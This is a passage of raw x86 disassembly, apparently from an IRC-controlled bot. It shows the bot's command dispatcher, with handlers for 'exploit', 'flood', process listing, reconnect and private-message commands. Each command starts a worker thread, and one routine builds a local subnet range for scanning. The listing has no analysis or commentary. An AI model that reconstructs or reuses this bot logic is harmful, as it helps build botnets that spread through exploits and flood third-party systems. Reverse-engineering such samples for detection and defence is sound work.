sub_401CC1+1792j ; sub_401CC1+17A7j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403AFB push edi call sub_41B3F0 test eax, eax pop ecx jz short loc_403AFB push edi call sub_41B3F0 pop ecx jmp short loc_403B00 ; --------------------------------------------------------------------------- loc_403AFB: ; CODE XREF: sub_401CC1+1E24j ; sub_401CC1+1E2Fj mov eax, dword_43A080 loc_403B00: ; CODE XREF: sub_401CC1+1E38j mov [ebp+var_15D0], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403B17 lea eax, [ebp+var_C0] loc_403B17: ; CODE XREF: sub_401CC1+1E4Ej push eax lea eax, [ebp+var_1710] push 40h push eax call sub_41B910 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403B39 mov esi, offset dword_4E0760 loc_403B39: ; CODE XREF: sub_401CC1+1E71j push esi lea eax, [ebp+var_16D0] push 100h push eax call sub_41B910 push [ebp+var_88] lea eax, [ebp+var_1790] push 80h push eax call sub_41B910 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 18h mov [ebp+var_15BC], eax lea eax, [ebp+var_1710] push eax mov [ebp+var_1794], esi push [ebp+var_15D0] mov [ebp+var_15C0], edi push esi call sub_40A019 pop ecx push eax lea eax, [ebp+var_2C0] push offset unk_442660 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 9 push eax call sub_40A7FD add esp, 20h mov [ebp+var_15CC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1794] push ebx push eax push offset sub_41055F push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_15CC] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_403C03 loc_403BED: ; CODE XREF: sub_401CC1+1F40j cmp [ebp+var_15B8], ebx jnz loc_403ACC push 32h call dword_4F1334 ; Sleep jmp short loc_403BED ; --------------------------------------------------------------------------- loc_403C03: ; CODE XREF: sub_401CC1+1F2Aj call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_44269C jmp loc_403ABD ; --------------------------------------------------------------------------- loc_403C14: ; CODE XREF: sub_401CC1+1768j ; sub_401CC1+177Dj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403C27 push esi call sub_41B3F0 jmp short loc_403C2E ; --------------------------------------------------------------------------- loc_403C27: ; CODE XREF: sub_401CC1+1F5Cj push 0Bh call sub_40AA64 loc_403C2E: ; CODE XREF: sub_401CC1+1F64j cmp eax, ebx pop ecx jz loc_408CA1 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B155 jmp loc_4040E7 ; --------------------------------------------------------------------------- loc_403C4E: ; CODE XREF: sub_401CC1+173Ej ; sub_401CC1+1753j mov eax, dword_4E07CC cmp eax, ebx jz short loc_403C6B call eax test eax, eax jz short loc_403C64 push offset unk_4425BC jmp short loc_403C87 ; --------------------------------------------------------------------------- loc_403C64: ; CODE XREF: sub_401CC1+1F9Aj push offset unk_4425E0 jmp short loc_403C87 ; --------------------------------------------------------------------------- loc_403C6B: ; CODE XREF: sub_401CC1+1F94j push offset unk_44260C jmp short loc_403C87 ; --------------------------------------------------------------------------- loc_403C72: ; CODE XREF: sub_401CC1+1714j ; sub_401CC1+1729j call sub_409F35 test eax, eax jz short loc_403C82 push offset unk_442558 jmp short loc_403C87 ; --------------------------------------------------------------------------- loc_403C82: ; CODE XREF: sub_401CC1+1FB8j push offset unk_44257C loc_403C87: ; CODE XREF: sub_401CC1+1FA1j ; sub_401CC1+1FA8j ... lea eax, [ebp+var_2C0] push 200h push eax call sub_41B910 jmp loc_406690 ; --------------------------------------------------------------------------- loc_403C9D: ; CODE XREF: sub_401CC1+16EAj ; sub_401CC1+16FFj cmp [ebp+var_8], ebx jnz short loc_403CBC push ebx push [ebp+var_4] push offset dword_442510 push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 14h loc_403CBC: ; CODE XREF: sub_401CC1+1FDFj push ebx push [ebp+var_4] call sub_415F56 push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 push offset dword_442528 jmp loc_403FB6 ; --------------------------------------------------------------------------- loc_403CDE: ; CODE XREF: sub_401CC1+1581j ; sub_401CC1+1596j push 0Ah call sub_40AA45 test eax, eax pop ecx jle short loc_403CF4 push offset unk_442420 jmp loc_408A79 ; --------------------------------------------------------------------------- loc_403CF4: ; CODE XREF: sub_401CC1+2027j push [ebp+var_88] push [ebp+arg_4] call sub_417B99 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403D13 push offset unk_44244C jmp loc_408A79 ; --------------------------------------------------------------------------- loc_403D13: ; CODE XREF: sub_401CC1+2046j push offset unk_442474 jmp loc_408A79 ; --------------------------------------------------------------------------- loc_403D1D: ; CODE XREF: sub_401CC1+1557j ; sub_401CC1+156Cj push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_409B6C jmp loc_402079 ; --------------------------------------------------------------------------- loc_403D36: ; CODE XREF: sub_401CC1+152Dj ; sub_401CC1+1542j push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524C jmp loc_402079 ; --------------------------------------------------------------------------- loc_403D53: ; CODE XREF: sub_401CC1+1503j ; sub_401CC1+1518j or edi, 0FFFFFFFFh call dword_4F1364 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_403D7C push esi call sub_41B3F0 pop ecx mov edi, eax loc_403D7C: ; CODE XREF: sub_401CC1+20B0j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_403D95 cmp edi, 0FFFFFFFFh jnz loc_408CA1 loc_403D95: ; CODE XREF: sub_401CC1+20C9j push ebx call sub_4187BE push eax lea eax, [ebp+var_2C0] push offset dword_4423D8 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 lea eax, [ebp+var_2C0] push eax call sub_41458A loc_403DD2: ; CODE XREF: sub_401CC1+5678j add esp, 28h jmp loc_408CA1 ; --------------------------------------------------------------------------- loc_403DDA: ; CODE XREF: sub_401CC1+14D9j ; sub_401CC1+14EEj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_414869 lea eax, [ebp+var_2C0] push offset dword_4423AC push eax call sub_41B740 jmp loc_407C0B ; --------------------------------------------------------------------------- loc_403E01: ; CODE XREF: sub_401CC1+14AFj ; sub_401CC1+14C4j push 27h call sub_40AA45 test eax, eax pop ecx jle short loc_403E35 cmp [ebp+var_8], ebx jnz loc_40207C push ebx push [ebp+var_4] push offset unk_44231C push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 loc_403E2D: ; CODE XREF: sub_401CC1+68AEj add esp, 14h jmp loc_40207C ; --------------------------------------------------------------------------- loc_403E35: ; CODE XREF: sub_401CC1+214Aj push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B910 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_A08], eax mov [ebp+var_A10], ebx jz short loc_403E96 push esi push offset aFull ; "full" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_403E96 mov [ebp+var_A10], 1 loc_403E96: ; CODE XREF: sub_401CC1+21B8j ; sub_401CC1+21C9j lea eax, [ebp+var_2C0] push offset dword_442344 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 27h push eax call sub_40A7FD add esp, 14h mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_417820 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_403F04 loc_403EEE: ; CODE XREF: sub_401CC1+2241j cmp [ebp+var_A04], ebx jnz loc_408AA8 push 32h call dword_4F1334 ; Sleep jmp short loc_403EEE ; --------------------------------------------------------------------------- loc_403F04: ; CODE XREF: sub_401CC1+222Bj call dword_4F1348 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2C0] push offset unk_442360 push eax call sub_41B740 add esp, 0Ch jmp loc_408AA8 ; --------------------------------------------------------------------------- loc_403F24: ; CODE XREF: sub_401CC1+1485j ; sub_401CC1+149Aj cmp [ebp+var_8], ebx jnz short loc_403F43 push ebx push [ebp+var_4] push offset dword_4422F4 push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 14h loc_403F43: ; CODE XREF: sub_401CC1+2266j push [ebp+arg_4] call dword_4E0934 call dword_4E0804 call sub_41615A push ebx call dword_4F1320 ; ExitProcess loc_403F5E: ; CODE XREF: sub_401CC1+145Bj ; sub_401CC1+1470j push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41897B pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 push offset dword_4422C4 jmp short loc_403FB6 ; --------------------------------------------------------------------------- loc_403F89: ; CODE XREF: sub_401CC1+1431j ; sub_401CC1+1446j push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_418C2F add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 push offset dword_44229C loc_403FB6: ; CODE XREF: sub_401CC1+2018j ; sub_401CC1+22C6j call sub_41458A loc_403FBB: ; CODE XREF: sub_401CC1+6602j add esp, 18h jmp loc_408CA1 ; --------------------------------------------------------------------------- loc_403FC3: ; CODE XREF: sub_401CC1+1407j ; sub_401CC1+141Cj push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4146C7 jmp loc_402079 ; --------------------------------------------------------------------------- loc_403FDC: ; CODE XREF: sub_401CC1+13DDj ; sub_401CC1+13F2j cmp [ebp+var_C], ebx mov [ebp+var_1340], bl jz short loc_40401B mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40401B push esi push [ebp+var_C] call sub_41B890 pop ecx cmp eax, ebx pop ecx jz short loc_40401B push eax push offset aS_0 ; "%s" lea eax, [ebp+var_1340] push 80h push eax call sub_41B910 add esp, 10h loc_40401B: ; CODE XREF: sub_401CC1+2324j ; sub_401CC1+232Fj ... push [ebp+var_88] lea eax, [ebp+var_13C0] push 80h push eax call sub_41B910 mov eax, [ebp+arg_4] push offset dword_442230 mov [ebp+var_13C4], eax mov eax, [ebp+var_4] mov [ebp+var_12BC], eax mov eax, [ebp+var_8] mov [ebp+var_12B8], eax lea eax, [ebp+var_2C0] push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 25h push eax call sub_40A7FD add esp, 20h mov [ebp+var_12C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13C4] push ebx push eax push offset sub_41473A push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_12C0] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_4040BB loc_4040A5: ; CODE XREF: sub_401CC1+23F8j cmp [ebp+var_12B4], ebx jnz loc_40207C push 32h call dword_4F1334 ; Sleep jmp short loc_4040A5 ; --------------------------------------------------------------------------- loc_4040BB: ; CODE XREF: sub_401CC1+23E2j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_442248 jmp loc_402260 ; --------------------------------------------------------------------------- loc_4040CC: ; CODE XREF: sub_401CC1+13B3j ; sub_401CC1+13C8j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_414512 push offset dword_442208 call sub_41458A loc_4040E7: ; CODE XREF: sub_401CC1+1F88j add esp, 10h jmp loc_408CA1 ; --------------------------------------------------------------------------- loc_4040EF: ; CODE XREF: sub_401CC1+1389j ; sub_401CC1+139Ej push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B910 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax jz short loc_404149 push offset aSub ; "sub" push esi call sub_41C4C0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_AA8], eax jmp short loc_40414F ; --------------------------------------------------------------------------- loc_404149: ; CODE XREF: sub_401CC1+246Cj mov [ebp+var_AA8], ebx loc_40414F: ; CODE XREF: sub_401CC1+2486j lea eax, [ebp+var_2C0] push offset dword_4421A0 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 28h push eax call sub_40A7FD add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_40A868 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_4041BD loc_4041A7: ; CODE XREF: sub_401CC1+24FAj cmp [ebp+var_A9C], ebx jnz loc_4066B4 push 32h call dword_4F1334 ; Sleep jmp short loc_4041A7 ; --------------------------------------------------------------------------- loc_4041BD: ; CODE XREF: sub_401CC1+24E4j call dword_4F1348 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2C0] push offset unk_4421C0 push eax call sub_41B740 add esp, 0Ch jmp loc_4066B4 ; --------------------------------------------------------------------------- loc_4041DD: ; CODE XREF: sub_401CC1+130Dj ; sub_401CC1+1322j push offset aK333yx ; "k333yx" lea eax, [ebp+var_2C0] push offset dword_442128 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 20h jmp loc_4066B4 ; --------------------------------------------------------------------------- loc_404214: ; CODE XREF: sub_401CC1+12E3j ; sub_401CC1+12F8j push dword_4E05CC call sub_4187BE push eax lea eax, [ebp+var_2C0] push offset unk_4420F4 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 24h jmp loc_4066B4 ; --------------------------------------------------------------------------- loc_404252: ; CODE XREF: sub_401CC1+12B9j ; sub_401CC1+12CEj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_404284 cmp [ebp+var_C], ebx jz short loc_404293 push esi push [ebp+var_C] call sub_41B890 pop ecx cmp eax, ebx pop ecx jz short loc_404293 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_408E73 add esp, 0Ch jmp short loc_404293 ; --------------------------------------------------------------------------- loc_404284: ; CODE XREF: sub_401CC1+259Aj push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_408E73 pop ecx pop ecx loc_404293: ; CODE XREF: sub_401CC1+259Fj ; sub_401CC1+25AEj ... push 0FFFFFFFEh jmp loc_40207E ; --------------------------------------------------------------------------- loc_40429A: ; CODE XREF: sub_401CC1+128Fj ; sub_401CC1+12A4j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_408E73 push offset dword_4420A4 call sub_41458A add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40207F ; --------------------------------------------------------------------------- loc_4042BC: ; CODE XREF: sub_401CC1+1265j ; sub_401CC1+127Aj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_408E73 push offset dword_442060 call sub_41458A add esp, 0Ch jmp loc_408C11 ; --------------------------------------------------------------------------- loc_4042DB: ; CODE XREF: sub_401CC1+123Bj ; sub_401CC1+1250j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40AEDE jmp loc_404584 ; --------------------------------------------------------------------------- loc_4042F1: ; CODE XREF: sub_401CC1+1211j ; sub_401CC1+1226j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40AE8A jmp loc_404584 ; --------------------------------------------------------------------------- loc_404307: ; CODE XREF: sub_401CC1+11E7j ; sub_401CC1+11FCj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40AE1F jmp loc_404584 ; --------------------------------------------------------------------------- loc_40431D: ; CODE XREF: sub_401CC1+11BDj ; sub_401CC1+11D2j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40AD51 jmp loc_404584 ; --------------------------------------------------------------------------- loc_404333: ; CODE XREF: sub_401CC1+1118j ; sub_401CC1+112Dj push [ebp+esi+var_8C] push 27h push offset aProcessList ; "Process list" push offset dword_441F64 jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_40434B: ; CODE XREF: sub_401CC1+D4Fj ; sub_401CC1+D64j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40436A push edi call sub_41B3F0 test eax, eax pop ecx jz short loc_40436A push edi call sub_41B3F0 pop ecx jmp short loc_40436F ; --------------------------------------------------------------------------- loc_40436A: ; CODE XREF: sub_401CC1+2693j ; sub_401CC1+269Ej mov eax, dword_43A074 loc_40436F: ; CODE XREF: sub_401CC1+26A7j mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404394 push esi loc_404381: ; CODE XREF: sub_401CC1+26E2j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B910 add esp, 0Ch jmp short loc_4043AB ; --------------------------------------------------------------------------- loc_404394: ; CODE XREF: sub_401CC1+26BDj cmp [ebp+var_8FF], bl jz short loc_4043A5 lea eax, [ebp+var_C0] push eax jmp short loc_404381 ; --------------------------------------------------------------------------- loc_4043A5: ; CODE XREF: sub_401CC1+26D9j mov [ebp+var_5A0], bl loc_4043AB: ; CODE XREF: sub_401CC1+26D1j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B910 add esp, 0Ch push [ebp+var_590] push esi call sub_40A019 pop ecx push eax lea eax, [ebp+var_2C0] push offset dword_441B68 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 19h push eax call sub_40A7FD add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset sub_410CDF push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_40445C loc_404446: ; CODE XREF: sub_401CC1+2799j cmp [ebp+var_57C], ebx jnz loc_40207C push 32h call dword_4F1334 ; Sleep jmp short loc_404446 ; --------------------------------------------------------------------------- loc_40445C: ; CODE XREF: sub_401CC1+2783j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset dword_441B90 jmp loc_402260 ; --------------------------------------------------------------------------- loc_40446D: ; CODE XREF: sub_401CC1+CE5j ; sub_401CC1+CFAj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40448D push esi call sub_41B3F0 test ax, ax pop ecx jz short loc_40448D push esi call sub_41B3F0 pop ecx jmp short loc_404493 ; --------------------------------------------------------------------------- loc_40448D: ; CODE XREF: sub_401CC1+27B5j ; sub_401CC1+27C1j mov ax, word_43A084 loc_404493: ; CODE XREF: sub_401CC1+27CAj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B910 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40A019 pop ecx push eax lea eax, [ebp+var_2C0] push offset unk_441AC4 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push edi push eax push [ebp+var_88] push esi call sub_408EB9 push ebx lea eax, [ebp+var_2C0] push 6 push eax call sub_40A7FD add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset sub_40E017 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_404562 loc_40454C: ; CODE XREF: sub_401CC1+289Fj cmp [ebp+var_968], ebx jnz loc_40207C push 32h call dword_4F1334 ; Sleep jmp short loc_40454C ; --------------------------------------------------------------------------- loc_404562: ; CODE XREF: sub_401CC1+2889j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_441AF0 jmp loc_402260 ; --------------------------------------------------------------------------- loc_404573: ; CODE XREF: sub_401CC1+CBBj ; sub_401CC1+CD0j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4185E1 loc_404584: ; CODE XREF: sub_401CC1+262Bj ; sub_401CC1+2641j ... add esp, 0Ch jmp loc_408CA1 ; --------------------------------------------------------------------------- loc_40458C: ; CODE XREF: sub_401CC1+C91j ; sub_401CC1+CA6j push offset unk_4419F4 jmp loc_407E61 ; --------------------------------------------------------------------------- loc_404596: ; CODE XREF: sub_401CC1+C67j ; sub_401CC1+C7Cj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4045F6 push esi call sub_41B3F0 cmp eax, ebx pop ecx jl short loc_4045EB cmp eax, 3 jge short loc_4045EB mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_4045E0 lea eax, [esi+1] push eax lea eax, [ebp+var_2C0] push offset unk_44194C push eax call sub_41B740 add esp, 0Ch mov [esi], bl jmp loc_407C2F ; --------------------------------------------------------------------------- loc_4045E0: ; CODE XREF: sub_401CC1+28FEj push eax push offset unk_44196C jmp loc_4068A7 ; --------------------------------------------------------------------------- loc_4045EB: ; CODE XREF: sub_401CC1+28E9j ; sub_401CC1+28EEj push eax push offset unk_441998 jmp loc_4068A7 ; --------------------------------------------------------------------------- loc_4045F6: ; CODE XREF: sub_401CC1+28DEj mov edi, [ebp+arg_18] xor esi, esi loc_4045FB: ; CODE XREF: sub_401CC1+2956j push [ebp+var_90] push edi call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_40461E inc esi add edi, 80h cmp esi, 3 jl short loc_4045FB jmp loc_407C2F ; --------------------------------------------------------------------------- loc_40461E: ; CODE XREF: sub_401CC1+294Aj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C0] push eax push offset unk_4419C4 jmp loc_4068A7 ; --------------------------------------------------------------------------- loc_404638: ; CODE XREF: sub_401CC1+C3Dj ; sub_401CC1+C52j push [ebp+var_8C] push offset a332_4 ; "332" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40331B call sub_40A9C6 push ebx call dword_4F1320 ; ExitProcess loc_40465E: ; CODE XREF: sub_401CC1+1692j push offset aGet_1 ; "get" push edi call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_404704 cmp dword_4E4098, ebx jz short loc_40468A push offset dword_4E3A78 push offset unk_4429B4 jmp loc_404716 ; --------------------------------------------------------------------------- loc_40468A: ; CODE XREF: sub_401CC1+29B8j push 10h pop eax mov [ebp+var_2D8], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call dword_4F151C ; getsockname movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_C74] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B740 lea eax, [ebp+var_C74] push eax lea eax, [ebp+var_2C0] push offset unk_4429F8 push eax call sub_41B740 add esp, 20h jmp loc_403372 ; --------------------------------------------------------------------------- loc_404704: ; CODE XREF: sub_401CC1+29ACj push edi call dword_4E08DC cmp eax, 0FFFFFFFFh push edi jnz short loc_40472A push offset unk_442A30 loc_404716: ; CODE XREF: sub_401CC1+29C4j lea eax, [ebp+var_2C0] push eax call sub_41B740 add esp, 0Ch jmp loc_403372 ; --------------------------------------------------------------------------- loc_40472A: ; CODE XREF: sub_401CC1+2A4Ej push offset dword_4E3A78 call sub_41C300 push edi lea eax, [ebp+var_2C0] push offset unk_442A64 push eax mov dword_4E4098, 1 call sub_41B740 add esp, 14h jmp loc_403372 ; --------------------------------------------------------------------------- loc_404758: ; CODE XREF: sub_401CC1+167Dj push [ebp+arg_10] push offset aExploit ; "exploit" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_404855 mov eax, [ebp+var_4] mov esi, 80h mov [ebp+var_1190], eax mov eax, [ebp+var_8] mov [ebp+var_118C], eax mov eax, [ebp+arg_4] mov [ebp+var_11A0], eax push offset aXx_0 ; "#xx#" lea eax, [ebp+var_1220] push esi push eax mov [ebp+var_1198], 1 call sub_41B910 push offset aXx_0 ; "#xx#" lea eax, [ebp+var_12A0] push esi push eax call sub_41B910 push edi lea eax, [ebp+var_12B0] push 10h push eax call sub_41B910 lea eax, [ebp+var_12B0] push eax lea eax, [ebp+var_2C0] push offset unk_442A98 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 8 push eax call sub_40A7FD add esp, 3Ch mov [ebp+var_1194], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_12B0] push ebx push eax push offset sub_40AFA4 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_1194] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_404844 loc_40482E: ; CODE XREF: sub_401CC1+2B81j cmp [ebp+var_1188], ebx jnz loc_407C2F push 32h call dword_4F1334 ; Sleep jmp short loc_40482E ; --------------------------------------------------------------------------- loc_404844: ; CODE XREF: sub_401CC1+2B6Bj call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_442AC8 jmp loc_4068A7 ; --------------------------------------------------------------------------- loc_404855: ; CODE XREF: sub_401CC1+2AA8j push [ebp+arg_10] push offset aReconnect_in ; "reconnect.in" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408C18 push [ebp+arg_10] push offset aRin ; "rin" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408C18 push [ebp+arg_10] push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408BD6 push [ebp+arg_10] push offset aRinms ; "rinms" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408BD6 push [ebp+arg_10] push offset aFlood ; "flood" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_405430 call dword_4F1364 ; GetTickCount push eax call sub_41B840 push edi push offset aLoad ; "load" call sub_41C4C0 add esp, 0Ch test eax, eax jnz short loc_404958 cmp [ebp+esi+var_80], ebx jz short loc_404958 push [ebp+esi+var_80] call sub_41B3F0 pop ecx push eax push [ebp+esi+var_84] call sub_41B3F0 pop ecx push eax push [ebp+esi+var_88] call sub_415639 push [ebp+esi+var_84] lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_442BC0 push eax call sub_41B740 add esp, 20h cmp [ebp+var_8], ebx jnz short loc_404958 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 14h loc_404958: ; CODE XREF: sub_401CC1+2C23j ; sub_401CC1+2C29j ... push edi push offset aPm_1 ; "pm" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_4049BF mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_4049BF push offset asc_442BF0 ; " " push offset a__5 ; "_" push eax call sub_415C6E push eax lea eax, [ebp+var_4250] push eax call sub_41C300 lea eax, [ebp+var_4250] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPrivmsgSS_3 ; "privmsg %s :%s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 28h loc_4049BF: ; CODE XREF: sub_401CC1+2CA6j ; sub_401CC1+2CB1j push edi push offset aCt ; "ct" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_404A26 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404A26 push offset asc_442C0C ; " " push offset a__6 ; "_" push eax call sub_415C6E push eax lea eax, [ebp+var_3B4C] push eax call sub_41C300 lea eax, [ebp+var_3B4C] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_442C14 push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 28h loc_404A26: ; CODE XREF: sub_401CC1+2D0Dj ; sub_401CC1+2D18j push edi push offset dword_442C28 call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_404A8D mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404A8D push offset dword_442C2C push offset dword_442C30 push eax call sub_415C6E push eax lea eax, [ebp+var_3C4C] push eax call sub_41C300 lea eax, [ebp+var_3C4C] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_442C34 push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_415357 add esp, 28h loc_404A8D: ; CODE XREF: sub_401CC1+2D74j ; sub_401CC1+2D7Fj push edi push offset aMode ; "mode" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_404AF4 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404AF4 push offset asc_442C4C ; " " push offset a_ ; "_" push eax call sub_415C6E push eax lea eax, 